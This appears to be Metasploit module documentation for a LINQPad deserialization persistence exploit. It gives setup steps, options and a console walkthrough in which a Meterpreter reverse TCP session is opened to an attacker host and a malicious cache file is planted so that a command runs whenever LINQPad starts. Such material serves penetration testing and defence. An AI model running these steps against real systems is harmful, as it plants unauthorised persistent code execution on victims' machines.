Linqpad Deserialization Persistence

Vulnerable Application

LINQPad is a scratchpad for .NET programming. Versions prior to 5.52.01 contain a deserialization vulnerability in processing cache file when program is starting. Application can be downloaded from here.

Verification Steps

1. Install the application
2. Start msfconsole
3. Get Meterpreter/cmd shell
4. Run: use windows/local/linqpad_deserialization_persistence
5. Set payload - for example set payload cmd/windows/generic - and corresponding parameters
6. Set parameters session, cache_path, linqpad_path, cleanup
7. Run exploit

Options

cleanup

Enable cleanup of malicious file. The module will replace cache filewith malicious content. If cleanup is enabled, after successful execution, the module will remove malicious cache file. The original file will be restored upon re-execution of Linqpad.

cache_path

The parameter sets path for folder, where vulnerable cache file is present. This is crucial part of the exploit as the folder can be used to identify whether the current version is vulnerable and the payload delivery is performed through cache file.

linqpad_path

Final part of exploit runs the LINQPad to trigger deserialization procedure. The linpad_path parameter sets the path to LINQPad binary, which is ran at the end of exploit.

Scenarios

msf > use exploit/multi/handler
msf exploit(multi/handler) > set LHOST 192.168.95.128
msf exploit(multi/handler) > set LPORT 4242
msf exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_tcp
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.95.128:4242 
[*] Meterpreter session 1 opened (192.168.95.128:4242 -> 192.168.95.130:53430) at 2024-12-30 12:46:16 +0100

meterpreter > background
[*] Backgrounding session 1...
msf exploit(multi/handler) > use windows/local/linqpad_deserialization_persistence
msf exploit(windows/local/linqpad_deserialization_persistence) > set LINQPAD_FILE C:/ProgramData/LINQPad/Updates50.AnyCPU/552/LINQPad.exe
msf exploit(windows/local/linqpad_deserialization_persistence) > set payload windows/exec/cmd
msf exploit(windows/local/linqpad_deserialization_persistence) > set cache_path C:/Users/ms/AppData/Local/LINQPad
msf exploit(windows/local/linqpad_deserialization_persistence) > set CMD calc.exe
msf exploit(windows/local/linqpad_deserialization_persistence) > set session 1
msf exploit(windows/local/linqpad_deserialization_persistence) > exploit
[*] Exploit completed, but no session was created.

Previous example will run calc.exe when LINQPad will start.